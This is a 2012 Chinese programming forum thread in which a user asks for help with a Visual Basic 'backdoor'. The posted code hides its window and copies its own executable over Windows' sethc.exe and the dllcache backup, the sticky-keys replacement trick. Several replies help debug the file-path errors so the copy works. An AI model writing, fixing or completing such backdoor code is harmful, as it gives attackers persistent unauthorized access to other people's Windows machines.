求助，用vb写的后门！

和困惑与i 发布于 2012-03-24 01:28， 699 次点击

程序代码：

Private Sub Form_Load()
Me.Hide
FileCopy App.Path & "App.EXEName", App.Path & "C:\WINDOWS\system32\sethc.exe"
FileCopy App.Path & "C:\WINDOWS\system32\sethc.exe", App.Path & "C:\WINDOWS\system32\dllcache\sethc.exe"
End Sub

他老提示
run time error"53"
file not found
这个自我复制有问题吗

7 回复

Artless2012-03-24 02:06

这后门

和困惑与i2012-03-24 02:30

这只是一部分

风吹过b2012-03-24 09:19

FileCopy App.Path & "App.EXEName", App.Path & "C:\WINDOWS\system32\sethc.exe"
这句有问题

当路径不是在根目录时， app.path 返回的路径不包含最后一个 \ 字符。
如 C:\windows 而不是 c:\windows\

加以判断吧。

bczgvip2012-03-24 11:58

可以的话请用【Environ$】？？变量，呃，忘了是环境变量吗？
App.Path & "\" & App.EXEName '加个杠杠就行了。

裁决天尊2012-03-26 08:11

c:/.....前边就不要加app.path了吧？

和困惑与i2012-03-28 21:44

回复 5楼风吹过b

那如何写他复制到的文件名呢